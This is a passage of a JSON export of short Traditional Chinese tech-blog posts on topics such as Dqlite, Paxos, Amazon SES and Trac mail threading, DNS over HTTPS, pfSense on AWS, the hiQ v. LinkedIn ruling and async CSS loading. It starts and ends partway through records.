    "body": "第一眼看到的時候直接有種不知道 <a href=\"https://canonical.com/\">Canonical</a> 在幹什麼的感覺，翻完說明後大概知道可以用的地方，但還是覺得範圍有點小：「<a href=\"https://dqlite.io/\">Dqlite - High-Availability SQLite</a>」。\r\n\r\n一種使用情境是，在 embedded system 上面同步資料的一種方案... 吧？例如網路連線的頻寬或是品質受限，無法順利傳到 Internet 端的伺服器上，所以希望在本地端就可以解決一些事情，但又不方便在本地端直接弄個 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 出來？\r\n\r\n<blockquote>Dqlite is a fast, embedded, persistent SQL database with Raft consensus that is perfect for fault-tolerant IoT and Edge devices.</blockquote>\r\n\r\n另外一個是用到了 C 實做的 <a href=\"https://en.wikipedia.org/wiki/Raft_(computer_science)\">Raft</a> 協定：\r\n\r\n<blockquote>Dqlite (“distributed SQLite”) extends SQLite across a cluster of machines, with automatic failover and high-availability to keep your application running. It uses C-Raft, an optimised Raft implementation in C, to gain high-performance transactional consensus and fault tolerance while preserving SQlite’s outstanding efficiency and tiny footprint.</blockquote>\r\n\r\n讓 IoT 裝置參與 Raft 嗎... 好像只能說有趣... XD",
    "title": "Canonical 推出的 Dqlite (High-Availability SQLite)"
  },
  {
    "id": "9194",
    "body": "在「<a href=\"https://lamport.azurewebsites.net/tla/paxos-algorithm.html\">The Paxos Algorithm or How to Win a Turing Award</a>」這邊看到 <a href=\"https://en.wikipedia.org/wiki/Leslie_Lamport\">Leslie Lamport</a> 在今年七月時親自講解 <a href=\"https://en.wikipedia.org/wiki/Paxos_(computer_science)\">Paxos</a> 這個經典演算法的錄影。另外一個有提到的主題是講形式規範的 <a href=\"https://en.wikipedia.org/wiki/TLA+\">TLA+</a>，也是他的力作...\r\n\r\nLeslie Lamport 是 2013 年的 <a href=\"https://en.wikipedia.org/wiki/Turing_Award\">Turing Award</a> 得主，除了上面提到的事蹟外，<a href=\"https://en.wikipedia.org/wiki/LaTeX\">LaTeX</a> 也是他弄出來的東西，軟體名稱開頭的 La 就是他本人...\r\n\r\n花些時間聽看看還不錯 (去聽看看他怎麼描述)，不過現在的新軟體比較常實做 <a href=\"https://en.wikipedia.org/wiki/Raft_(computer_science)\">Raft</a>，Paxos 比較少人選擇了...",
    "title": "Leslie Lamport 講 Paxos 與 TLA+"
  },
  {
    "id": "9197",
    "body": "<a href=\"https://trac.edgewall.org/\">Trac</a> 在發 ticket 的通知信時，會定義自己的 <code>Message-ID</code>，另外後續變更的通知信件會增加 <code>References</code> 欄位，讓 mail client 可以配對起來 (變成一個 thread)。\r\n\r\n但 <a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 會把原來的 <code>Message-ID</code> 改掉，使用自己的 <code>Message-ID</code> 欄位，可是 <code>References</code> 欄位仍然維持不變... 這就導致 mail client 無法將第一封信 (只有被改過的 <code>Message-ID</code>) 與後續的信件 (<code>References</code> 所指到的信件不存在) 配對起來，只剩下後續的信件因為有相同的 <code>References</code>，所以 mail client 可以正確的配對起來。\r\n\r\n所以我就決定生一個 workaround plugin，只要是沒有 <code>References</code> 的信件 (像是每張 ticket 的第一封信)，就從 <code>Message-ID</code> 複製一份到 <code>References</code> 裡，這樣就可以讓後續的通知信件與第一封也連結起來了。另外評估這個 workaround 的副作用應該還好，所以就不判斷是不是 ticket 的通知信了...\r\n\r\n這就是 <a href=\"https://github.com/gslin/trac-references-mail-decorator\">trac-references-mail-decorator</a> 這個套件的由來...",
    "title": "用 Amazon SES 發 Trac 通知信的問題"
  },
  {
    "id": "9198",
    "body": "早上出門前看到，本來要寫文章說明的，在三個小時前專案的 license 從 <a href=\"https://creativecommons.org/licenses/by-nc-sa/4.0/\">CC BY-NC-SA 4.0</a> 改成 <a href=\"https://en.wikipedia.org/wiki/GPLv3\">GPLv3</a> 了：「<a href=\"https://github.com/ckiplab/ckiptagger/issues/4\">CC license not for software and source code</a>」。下面的內容是本來整理在 CC BY-NC-SA 4.0 的情境下整理的。\r\n\r\n在「<a href=\"https://www.ithome.com.tw/news/132838\">千呼萬喚十多年！中研院終於開源釋出國產自動化中文斷詞工具</a>」這邊看到的，一個常見的誤解是 open source 就是把程式碼放出來給大家用，這是錯誤的，(原先) CKIP 使用的 CC BY-NC-SA 4.0 並不是 open source license，因為 open source 必須是「沒有歧視」，這點可以參考「<a href=\"https://en.wikipedia.org/wiki/The_Open_Source_Definition\">The Open Source Definition</a>」裡面的說明：\r\n\r\n<blockquote>No Discrimination Against Fields of Endeavor The license must not restrict anyone from making use of the program in a specific field of endeavor. For example, it may not restrict the program from being used in a business, or from being used for genetic research.</blockquote>\r\n\r\n在「非商用」的這個條件下就直接觸犯 open source 的條件。相對於結巴中文分詞使用的 MIT License，可以測試的環境多很多...",
    "title": "中研院所釋出的 CKIP 斷詞工具並沒有 Open Source 釋出"
  },
  {
    "id": "9200",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://reddit.com/\">Reddit</a> 上面有一篇對 <a href=\"https://aws.amazon.com/console/\">AWS Management Console</a> 的抱怨文，差不多是兩個月前開始累積的：「<a href=\"https://old.reddit.com/r/aws/comments/c8xgsc/i_am_stupefied_every_day_by_the_awfulness_of_the/\">I am stupefied every day by the awfulness of the AWS web console</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/\">AWS</a> 的主力開發因為是以 API 為主，而 AWS Management Console 能做的事情一直都少蠻多的 (看起來是一個團隊在開發，然後呼叫 API)，而且的確是常常中 bug，所以會有這樣的抱怨其實不太意外...\r\n\r\n然後就有人放火了：\r\n\r\n<blockquote>[–]canadian_sysadmin 24 points 2 months ago \r\nI see you've never used Azure...</blockquote>\r\n\r\n<blockquote>[–]myron-semack 18 points 2 months ago \r\nAWS’s console sucks because they don’t give a damn about UI. They are API-first.\r\n\r\nAzure’s console sucks because they tried to make it nice but failed.</blockquote>\r\n\r\n<blockquote>[–]ryantiger658 5 points 2 months ago \r\nI was scrolling looking for this comment. Azures interface has made me appreciate AWS even more.</blockquote>\r\n\r\n<a href=\"https://azure.microsoft.com/\">Azure</a> 被偷戳了好幾下 XDDD 然後 <a href=\"https://cloud.google.com/\">GCP</a> 也被偷戳了：\r\n\r\n<blockquote>[–]edgan 1 point 2 months ago \r\nIt could br better, but it is far better than than Azure and GCP. Azure's old one was better than their new beta interface last I saw it. GCP has some interesting ideas, but the side bar centric design doesn't function well. It also tries to do too much, and is too JavaScript-y happy.</blockquote>\r\n\r\n通常用 AWS 自己的 <a href=\"https://aws.amazon.com/cloudformation/\">CloudFormation</a> 或是第三方的 <a href=\"https://www.terraform.io/\">Terraform</a> 管理還是比較常見的方式 (基於 <a href=\"https://en.wikipedia.org/wiki/Infrastructure_as_code\">Infrastructure as code</a> 的概念)，而 AWS Managemenet Console 當作是輔助，因為目前的雲端服務在設計上的確是希望你多用 API...",
    "title": "各種對 AWS Managemenet Console 的抱怨..."
  },
  {
    "id": "9201",
    "body": "目前主力的瀏覽器還是 <a href=\"https://www.google.com/chrome/\">Google Chrome</a>，會試著用其他的瀏覽器基本上就是「<a href=\"https://blog.gslin.org/archives/2019/05/30/9023/%E6%89%80%E4%BB%A5-google-%E8%A6%81%E5%B0%8D-ad-blocker-%E5%85%A8%E9%9D%A2%E5%AE%A3%E6%88%B0%E4%BA%86/\">所以 Google 要對 ad blocker 全面宣戰了...</a>」這篇文章提到的事情，然後找看看有什麼方案可以用...\r\n\r\n先前測過 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>，但目前光是只開著三個 <a href=\"https://slack.com/\">Slack</a> 就會當掉 (三個 tab 都吃滿 100% CPU，所以可以在 top 上看到 300% 的使用率)，另外整理的順暢度還是差了很大一截，實在是找不到什麼好理由換過去...\r\n\r\n而這次測的 <a href=\"https://brave.com/\">Brave</a> 是從 <a href=\"https://www.chromium.org/\">Chromium</a> 改出來的，看起來沒有改動太多東西，連 extension 站台都直接吃 Google Chrome 的，基本上都會動。\r\n\r\n測了兩天有一些問題：\r\n\r\n<ul>\r\n\t<li>Shields 與 Social media blocking 是 Brave 包裝起來的功能，但跟我之前的習慣有重複性 (透過設定直接關掉 3rd party cookie，以及用 <a href=\"https://www.eff.org/\">EFF</a> 提供的套件擋各種 tracker)。</li>\r\n\t<li>Sync 只有 bookmark 功能而沒有 extension，這在「<a href=\"https://github.com/brave/brave-browser/issues/4094\">Extension Syncing</a>」與「<a href=\"https://github.com/brave/brave-browser/issues/4997\">[feature request ] Sync other data types rather than just bookmark</a>」這邊都已經有 ticket。</li>\r\n</ul>\r\n\r\n目前來看轉換成本不算太高，之後 Google Chrome 真的動手搞 ad blocker 時可以考慮換過來...",
    "title": "Brave 試用"
  },
  {
    "id": "9203",
    "body": "看到「<a href=\"https://wehatecaptchas.com/\">wehatecaptchas</a>」這個服務試著用 PoW (<a href=\"https://en.wikipedia.org/wiki/Proof_of_work\">Proof of work</a>) 擋機器人...\r\n\r\n這個方式不需要像 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://en.wikipedia.org/wiki/ReCAPTCHA\">reCAPTCHA</a> 那樣蒐集大量行為 (對隱私不利)，也不需要解一堆奇怪的圖片問題。\r\n\r\n就 <a href=\"https://en.wikipedia.org/wiki/CAPTCHA\">CAPTCHA</a> 最常用的領域，也就是擋 spam 這件事情來說，PoW 這樣的單一方式應該是不夠，但可以當作綜合方法裡面的一種...",
    "title": "用 PoW 當作防機器人的方式"
  },
  {
    "id": "9204",
    "body": "<a href=\"https://www.openbsd.org/\">OpenBSD</a> 決定關閉 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 預設的 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DoH</a> (DNS over HTTPS)：「<a href=\"https://undeadly.org/cgi?action=article;sid=20190911113856\">DoH disabled by default in Firefox</a>」。\r\n\r\n原因是 OpenBSD 的人認為，DoH 本身 ok，但是預設導去 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 不 ok：\r\n\r\n<blockquote>Disable DoH by default.  While encrypting DNS might be a good thing, sending all DNS traffic to Cloudflare by default is not a good idea. Applications should respect OS configured settings. The DoH settings still can be overriden if needed. ok landry@ job@</blockquote>\r\n\r\n我覺得這槍開的很好 XD",
    "title": "OpenBSD 關掉 Firefox 預設的 DoH (DNS over HTTPS)"
  },
  {
    "id": "9205",
    "body": "這邊講的是在 <a href=\"https://aws.amazon.com/\">AWS</a> 上想要串接不同帳號的流量 (也就是 site-to-site VPN)，不使用 AWS 自己提供的串接服務，而是用 <a href=\"https://en.wikipedia.org/wiki/PfSense\">pfSense</a> 串接。\r\n\r\n會自己搞主要有幾個考慮：\r\n\r\n<ul>\r\n\t<li>考慮到 <a href=\"https://aws.amazon.com/transit-gateway/\">AWS Transit Gateway</a> 的費用，每掛一個上去就要多收一次錢，另外上面處理的流量要再收費。</li>\r\n\t<li>應用的流量不大，所以用個 <code>t2.nano</code> 跑也有個 100Mbps 左右的 capacity，算是夠用了。</li>\r\n\t<li>而且應用在寫的時候也考慮到斷線後的處理，加上用戶端的網路本來就不怎麼穩定，AWS Transit Gateway 的 SLA 再怎麼高，我也還是得處理斷線時的後續機制，不如就不要那麼緊張...</li>\r\n</ul>\r\n\r\n在設定的時候要注意的事情：\r\n\r\n<ul>\r\n\t<li><a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 Source IP/Destination IP 檢查要關掉，這算是基本盤。</li>\r\n\t<li><a href=\"https://aws.amazon.com/vpc/\">VPC</a> 內的 Routing 要確認過一輪。</li>\r\n\t<li>EC2 上的 Security Group 對於 pfSense 的主機得全開，因為 pfSense 會丟出不屬於他自己 IP address 的封包，也會接收不屬於自己 IP address 的封包 (透過上面提到的 routing)，這些都還是會經過 Security Group 的檢查，而 Security Group 能設定的數量有限，基本上應該會全開...</li>\r\n\t<li>pfSense 在設完 IPsec 後，同樣在 pfSense 上面的 firewall 需要手動加開，因為預設是關的。</li>\r\n</ul>\r\n\r\n其實這套作法就是在 AWS 還沒推出 Transit Gateway 前的作法，只是老方法還是很好用...",
    "title": "在 AWS 上用 pfSense 串接的細節"
  },
  {
    "id": "9206",
    "body": "在「<a href=\"https://www.yubico.com/2019/09/yubico-ios-authentication-expands-to-include-nfc/\">Yubico iOS Authentication Expands to Include NFC</a>」這邊看到 <a href=\"https://www.apple.com/ios/\">iOS</a> 13 上對於 NFC 類的 MFA 會有的進展。\r\n\r\n主要是因為之前的 NFC 只有讀取能力，所以 U2F/FIDO2/WebAuthn 之類的應用沒有辦法套用上去：\r\n\r\n<blockquote>Previously, NFC on iOS was read-only, which meant that it couldn’t support modern authentication protocols like FIDO U2F, FIDO2/WebAuthn that require both read and write capabilities – but now that has changed.</blockquote>\r\n\r\niOS 13 後開放了 API 可以讀寫，所以有辦法支援這些協定了：\r\n\r\n<blockquote>With these recent updates, iPhone users (running iOS 13+) can experience mobile NFC authentication with a YubiKey 5 NFC or Security Key NFC by Yubico on apps and browsers that have added support.</blockquote>\r\n\r\n對於主力放在 Apple Ecosystem 的人，總算是等到了...",
    "title": "iOS 上的 Yubikey"
  },
  {
    "id": "9207",
    "body": "<a href=\"https://www.uber.com/\">Uber</a> 從上市後的股價就不太好看，五月的時候以 $45 開盤，最近來到了 $33 左右，走到裁員這步不算太意外：「<a href=\"https://techcrunch.com/2019/09/10/uber-lays-off-435-people-across-engineering-and-product-teams/\">Uber lays off 435 people across engineering and product teams</a>」。\r\n\r\n以人數來算大約是 8%，有蠻大一部份是工程團段 (也不太意外)：\r\n\r\n<blockquote>Uber has laid off 435 employees across its product and engineering teams, the company announced today. Combined, the layoffs represent about 8% of the organization, with 170 people leaving the product team and 265 people leaving the engineering team.</blockquote>\r\n\r\n另外一個相關的消息是加州通過法律，補上漏洞，對於這種以「合約關係」而認為不是員工的行為加以約束，認定這其實就是聘顧關係，所以相關的資方義務都必須被履行：「<a href=\"https://www.nytimes.com/2019/09/11/technology/california-gig-economy-bill.html\">California Bill Makes App-Based Companies Treat Workers as Employees</a>」。\r\n\r\n法律上的官方文件可以參考「<a href=\"https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=201920200AB5\">AB-5 Worker status: employees and independent contractors.</a>」這邊，先用翻譯快速看了一下... 可以看出來勞方市場的行業被放進排除條款，因為這些領域勞方有比較強勢的談判籌碼，應該讓市場決定規則。而對於資方強勢的行業則是朝著保護勞工的條款而設計。\r\n\r\n現在已經有感覺共享經濟的神話開始不斷的被戳破...",
    "title": "兩則跟 Uber 有關的消息，裁員與加州的新法..."
  },
  {
    "id": "9208",
    "body": "看到「<a href=\"https://github.com/dekuNukem/daytripper\">Daytripper: Hide-My-Windows Laser Tripwire</a>」這個東西，可以偵測有人走過 (然後你就可以設定後續的行為)：\r\n\r\n<video src=\"https://i.gslin.com/imgur/j1obgzl.mp4\" autoplay=\"autoplay\" controls=\"controls\" />\r\n\r\n由兩個裝置組成：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aldbeUf.webp\" /><img src=\"https://i.gslin.com/imgur/aldbeUf.jpg\" alt=\"\" /></picture>\r\n\r\n用電池供電，充滿可以供應 40 小時，然後再用 Type-C 充電...",
    "title": "老闆走近時自動切換視窗的玩具..."
  },
  {
    "id": "9209",
    "body": "<a href=\"https://www.hiqlabs.com/\">hiQ</a> 之前爬 <a href=\"https://www.linkedin.com/\">LinkedIn</a> 的公開資料而被 LinkedIn 告 (可以參考 2017 時的「<a href=\"https://www.theregister.co.uk/2017/08/14/hiq_linkedin_bots_scraping/\">hiQ prevails / LinkedIn must allow scraping / Of your page info</a>」)，這場官司一路打官司打到第九巡迴庭，最後的判決確認了 LinkedIn 完全敗訴。判決書在「<a href=\"http://cdn.ca9.uscourts.gov/datastore/opinions/2019/09/09/17-16783.pdf\">HIQ LABS V. LINKEDIN</a>」這邊可以看到。\r\n\r\n這次的判決書有提到當初地方法院有下令 LinkedIn 不得用任何方式設限抓取公開資料：\r\n\r\n<blockquote>The district court granted hiQ’s motion. It ordered LinkedIn to withdraw its cease-and-desist letter, to remove any existing technical barriers to hiQ’s access to public profiles, and to refrain from putting in place any legal or technical measures with the effect of blocking hiQ’s access to public profiles. LinkedIn timely appealed.</blockquote>\r\n\r\n而在判決書裡其他地方也可以看到巡迴庭不斷確認地方法院當時的判決是合理的，並且否定 LinkedIn 的辯解：(這邊只拉了兩段，裡面還有提到很多次)\r\n\r\n<blockquote>In short, the district court did not abuse its discretion in concluding on the preliminary injunction record that hiQ currently has no viable way to remain in business other than using LinkedIn public profile data for its Keeper and Skill Mapper services, and that HiQ therefore has demonstrated a likelihood of irreparable harm absent a preliminary injunction.</blockquote>\r\n\r\n<blockquote>We conclude that the district court’s determination that the balance of hardships tips sharply in hiQ’s favor is not “illogical, implausible, or without support in the record.” Kelly, 878 F.3d at 713.</blockquote>\r\n\r\n到巡迴庭差不多是確定的判決了，沒有其他特別的流程的話...",
    "title": "hiQ 爬 LinkedIn 資料的無罪判決"
  },
  {
    "id": "9210",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 也要支援 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> (DoH) 了，不過 <a href=\"https://www.google.com/\">Google</a> 的作法比 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 軟 (大概這種東西都有經過反壟斷法的評估？)，會先判斷系統的 DNS 是否在支援 DoH 的清單內，在不改變 DNS 服務商的情況下，從本來的 UDP 查詢變成 DoH 查詢：「<a href=\"https://blog.chromium.org/2019/09/experimenting-with-same-provider-dns.html\">Experimenting with same-provider DNS-over-HTTPS upgrade</a>」。\r\n\r\n清單可以從「<a href=\"https://www.chromium.org/developers/dns-over-https\">DNS over HTTPS (aka DoH)</a>」這邊看到，除了 Google 自己外，也有 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 與其他支援 DoH 的 DNS 服務商。\r\n\r\n這個功能會從 Chrome 78 生效 (現在 stable 與 beta 都還是 77)：\r\n\r\n<blockquote>We are aiming for an experiment in Chrome 78 (branch cut: Sept 5th; estimated Stable: Oct 22nd) followed by a launch if everything goes well.</blockquote>",
    "title": "Google Chrome 也要打開 DoH"
  },
  {
    "id": "9212",
    "body": "看到「<a href=\"https://github.com/ptitSeb/box86\">Box86 - Linux Userspace x86 Emulator with a twist, targeted at ARM Linux devices</a>」這個專案，在 <a href=\"https://en.wikipedia.org/wiki/ARM_architecture\">ARM</a> 的機器上跑 x86 模擬器：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/bLt0hMoFDLk\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/8hr71S029Hg\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube-nocookie.com/embed/B4YN37z3-ws\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n然後其實作者還弄了不少東西，像是透過 <a href=\"https://github.com/ptitSeb/gl4es\">GL4ES</a> 處理 <a href=\"https://en.wikipedia.org/wiki/OpenGL\">OpenGL</a> 的界面，其實前面做的功夫比想像中高不少...\r\n\r\n然後從作者給的範例可以看出來主力在遊戲 XDDD",
    "title": "反過來在 ARM 上面跑 x86 模擬器..."
  },
  {
    "id": "9215",
    "body": "在「<a href=\"https://kanru.info/blog/simpler-way-to-load-css-async/\">Simpler way to load CSS asynchronously</a>」這邊看到的技巧，利用了 <code>onload</code> 與 <code>&lt;noscript&gt;</code> 的方式，達成延遲載入 CSS 的效果：\r\n\r\n<pre>&lt;link rel=\"stylesheet\" href=\"/path/to/my.css\"\r\n      media=\"print\" onload=\"this.media='all'\"&gt;\r\n&lt;noscript&gt;&lt;link rel=\"stylesheet\" href=\"/path/to/my.css\">&lt;/noscript&gt;</pre>\r\n\r\n對於非必要的 CSS 可以用這樣的方式加強，看起來頗不賴... 這邊提到的方式，作者是引用「<a href=\"https://www.smashingmagazine.com/the-smashing-newsletter/smashing-newsletter-issue-234/\">Smashing Newsletter: Issue #234</a>」，不過查了一下發現 2015 的時候有人在 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 上回答過：「<a href=\"https://stackoverflow.com/questions/32759272/how-to-load-css-asynchronously\">How to load CSS Asynchronously</a>」，不確定有沒有更早的資料...\r\n\r\n另外一個比較新的語法是使用 <code>rel=\"preload\"</code>，但支援度就不太好了，需要靠 polyfill 之類的方式補上 (於是又多了一些東西要 load)，反而不如前面提到的方式來的簡單。",
    "title": "延遲載入 CSS 的方式"
  },
  {
    "id": "9216",
    "body": "<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 推出了 Same-Region Replication：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/09/amazon-s3-introduces-same-region-replication/\">Amazon S3 introduces Same-Region Replication</a>」。\r\n\r\n先前的功能只有 Cross-Region Replication，可以當作異地備份的功能，現在則是推出讓同一區也可以複製...\r\n\r\n不過就這個功能的目標來說，看起來主要是避免被刪除而已？因為還是同一個區域。另外就是公司內因為組織架構的問題，也有可能會用這個功能...\r\n\r\n<blockquote>Replicated objects can be owned by the same AWS account as the original copy or by different accounts, to protect from accidental deletion.</blockquote>",
    "title": "Amazon S3 推出同一個區域的同步複製功能"
  },
  {
    "id": "9217",
    "body": "<a href=\"https://github.com/gorhill/uBlock/\">uBlock Origin</a> 在 2016 的時候 porting 到 <a href=\"https://www.apple.com/safari/\">Safari</a> 上，但在 2018 後就沒有再更新了，維護者在「<a href=\"https://github.com/el1t/uBlock-Safari/issues/158\">Explanation of the state of uBlock Origin (and other blockers) for Safari #158</a>」這邊說明了目前的情況。\r\n\r\n主要就是蘋果要廢掉本來的 Extension API，而替代的框架裡沒有對應的 content filtering 能力，所以在新的框架內無法實做 uBlock Origin 的功能...\r\n\r\n維護者的建議是換瀏覽器，但其實可以選擇的瀏覽器愈來愈少了 (因為 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 這邊也在搞)，所以維護者的建議就是換成 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>。\r\n\r\n另外我自己會建議用看看 <a href=\"https://brave.com/\">Brave</a>，因為 Brave 已經決定，如果 Google Chrome 修改 <a href=\"https://developer.chrome.com/extensions/webRequest\">webRequest</a> 的阻擋能力 (也就是這次的 Manifest V3)，他們會繼續維持本來的相容性，所以可以預期 uBlock Origin 應該還是會動 (參考之前寫的「<a href=\"https://blog.gslin.org/archives/2019/09/09/9201/brave-%E8%A9%A6%E7%94%A8/\">Brave 試用</a>」這篇)。",
    "title": "Safari 上 uBlock Origin 的情況"
  },
  {
    "id": "9219",
    "body": "這次 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 更新了 G 系列的機器，其實會特地寫文章主要是在複習 P 系列與 G 系列的差異 (每次都記不起來到底哪個是給科學運算用的)：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-ec2-instances-g4-with-nvidia-t4-tensor-core-gpus/\">Now Available – EC2 Instances (G4) with NVIDIA T4 Tensor Core GPUs</a>」。\r\n\r\nEC2 上的 GPU Instances 分成兩條線在發展，一條是 P 系列，另外一條是 G 系列，都是使用 <a href=\"https://www.nvidia.com/\">Nvidia</a> 的產品線。\r\n\r\n從「<a href=\"https://aws.amazon.com/ec2/instance-types/\">Amazon EC2 Instance Types</a>」這邊的「Accelerated Computing」可以看到每條產品線用了哪些型號 (扣掉 FPGA 的 F1)：\r\n\r\n<ul>\r\n\t<li>P3：Up to 8 NVIDIA Tesla V100 GPUs, each pairing 5,120 CUDA Cores and 640 Tensor Cores</li>\r\n\t<li>P2：High-performance NVIDIA K80 GPUs, each with 2,496 parallel processing cores and 12GiB of GPU memory</li>\r\n\t<li>G4：NVIDIA T4 Tensor Core GPUs</li>\r\n\t<li>G3：NVIDIA Tesla M60 GPUs, each with 2048 parallel processing cores and 8 GiB of video memory</li>\r\n</ul>\r\n\r\n查了資料發現雖然時間點不同，但這四個都列在「<a href=\"https://en.wikipedia.org/wiki/Nvidia_Tesla\">Nvidia Tesla</a>」這邊，裡面也沒有太多說明，所以還是看不出來差異，之後要碰到的時候再來還這個知識債好了...",
    "title": "Amazon EC2 推出 G4 系列機器"
  },
  {
    "id": "9220",
    "body": "在 <a href=\"https://aws.amazon.com/console/\">AWS Management Console</a> 上切換服務需要用到滑鼠，而這個 <a href=\"https://en.wikipedia.org/wiki/Userscript\">Userscript</a> 工具提供了 <code>/</code> 快速鍵可以直接拉出服務選單，另外也可以用 <code>Esc</code> 鍵關閉服務選單：「<a href=\"https://github.com/gslin/aws-web-console-service-shortkeys-userscript\">AWS Web Console Service Shortkeys</a>」。\r\n\r\n這個套件應該是支援多個瀏覽器，但是需要先安裝 <a href=\"https://www.tampermonkey.net/\">Tampermonkey</a> 這類可以跑 Userscript 的套件。\r\n\r\n主要是常常在切的時候發現需要拿滑鼠，寫了這個 script 後多了一個方式可以用，而不需要把手移開鍵盤，會順手一些...\r\n\r\n不過還是希望這個功能直接變成內建的 :o",
    "title": "寫了一個可以用 '/' 在 AWS 上快速切換服務的小工具"
  },
  {
    "id": "9221",
    "body": "在「<a href=\"https://medium.com/@armenzg/a-web-performance-issue-d44093cb896c\">A web performance issue</a>」這邊講到 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的系統產生效能問題，後續的 trouble shooting 以及解決問題的方案。\r\n\r\n這個系統跑在 <a href=\"https://aws.amazon.com/\">AWS</a> 上，在一連串確認後發現是 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 所使用的 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的 IOPS 滿了：\r\n\r\n<blockquote>After reading a lot of documentation about Amazon’s RDS set-up I determined that slow downs in the database were related to IOPS spikes. Amazon gives you 3 IOPS per Gb and with a storage of 1 Terabyte we had 3,000 IOPS as our baseline. The graph below shows that at times we would get above that max baseline.</blockquote>\r\n\r\n然後大家對於解法都差不多，因為 Provisioned IOPS 太貴，所以直接加大空間換 IOPS 出來 (因為 General SSD 裡 1 GB 給 3 IOPS)：\r\n\r\n<blockquote>To increase the IOPS baseline we could either increase the storage size or switch from General SSD to Provisioned IOPS storage. The cost of the different storage type was much higher so we decided to double our storage, thus, doubling our IOPS baseline. You can see in the graph below that we’re constantly above our previous baseline. This change helped Treeherder’s performance a lot.</blockquote>\r\n\r\n然後再設警告機制，下次就可以提前再拉昇：\r\n\r\n<blockquote>In order to prevent getting into such a state in the future, I also created a CloudWatch alert. We would get alerted if the combined IOPS is greater than 5,700 IOPS for 6 datapoints within 10 minutes.</blockquote>\r\n\r\n不過 General SSD 的 IOPS 是沒有 100% 保證的，只有這樣寫：\r\n\r\n<blockquote>AWS designs gp2 volumes to deliver 90% of the provisioned performance 99% of the time.</blockquote>\r\n\r\n大多數的情況應該是夠用啦...",
    "title": "AWS 上用空間買 IOPS 的故事..."
  },
  {
    "id": "9223",
    "body": "這算是 <a href=\"https://aws.amazon.com/\">AWS</a> 的保護機制，在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上能開的機器數量都是有限制的。\r\n\r\n打算要用新的 vCPU 數量限制取代舊的 Instance 數量限制：「<a href=\"https://aws.amazon.com/blogs/compute/preview-vcpu-based-instance-limits/\">Using new vCPU-based On-Demand Instance limits with Amazon EC2</a>」，然後現在可以先加入：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/09/vcpu-based-on-demand-instance-limits-are-now-available-in-amazon-ec2/\">vCPU-based On-Demand Instance Limits are Now Available in Amazon EC2</a>」。\r\n\r\n這次改善的問題是，以往 <code>m5.large</code> 與 <code>m5.xlarge</code> 是兩個不同的限制，所以用起來會比較卡，現在則改成用 vCPU 來管理。\r\n\r\n這次的架構是改成，一般性的機器會有一個 vCPU 數量限制，其他不同特性的各自有自己的 vCPU 數量限制：\r\n\r\n<blockquote>In addition to now measuring usage in number of vCPUs, there will only be five different On-Demand Instance limits—one limit that governs the usage of standard instance families such as A, C, D, H, I, M, R, T, and Z, and one limit per accelerated instance family for FPGA (F), graphic-intensive (G), general purpose GPU (P), and special memory optimized (X) instances.</blockquote>\r\n\r\n9/24 可以先手動加入，會拿你現在的量會換算過去，然後 10/24 會全部都轉過去：\r\n\r\n<blockquote>During a transition period from September 24, 2019, through October 24, 2019, you can opt in to receive vCPU-based instance limits. When you opt in, EC2 automatically computes your new limits, giving you access to launch at least the same number of instances (if not more) than you do currently. Beginning October 24, 2019, all accounts will switch to vCPU-based instance limits, and the current count-based instance limits will no longer be supported. Although the switchover will not impact your ability to launch EC2 instances, you should familiarize yourself with the new On-Demand Instance limits experience and opt into vCPU limits at a time of your choosing.</blockquote>\r\n\r\n應該是會方便一些...",
    "title": "EC2 要從 Instance 數量限制改成 vCPU 數量限制"
  },
  {
    "id": "9224",
    "body": "看到「<a href=\"https://github.com/adblockradio/adblockradio\">An adblocker for live radio streams and podcasts. Machine learning meets Shazam.</a>」這個專案，這個把 machine learning 用到「正途」上了啊...\r\n\r\n不過畢竟是比較複雜的演算法，會吃不少 CPU 資源：\r\n\r\n<blockquote>On a regular laptop CPU and with the Python time-frequency analyser, computations run at 5-10X for files and at 10-20% usage for live stream.</blockquote>\r\n\r\n不過看用法還是偏向 library 性質，如果要大力推廣可能還是需要有其他人包個更好的界面...",
    "title": "擋 Live 與 Podcast 內廣告的工具"
  },
  {
    "id": "9225",
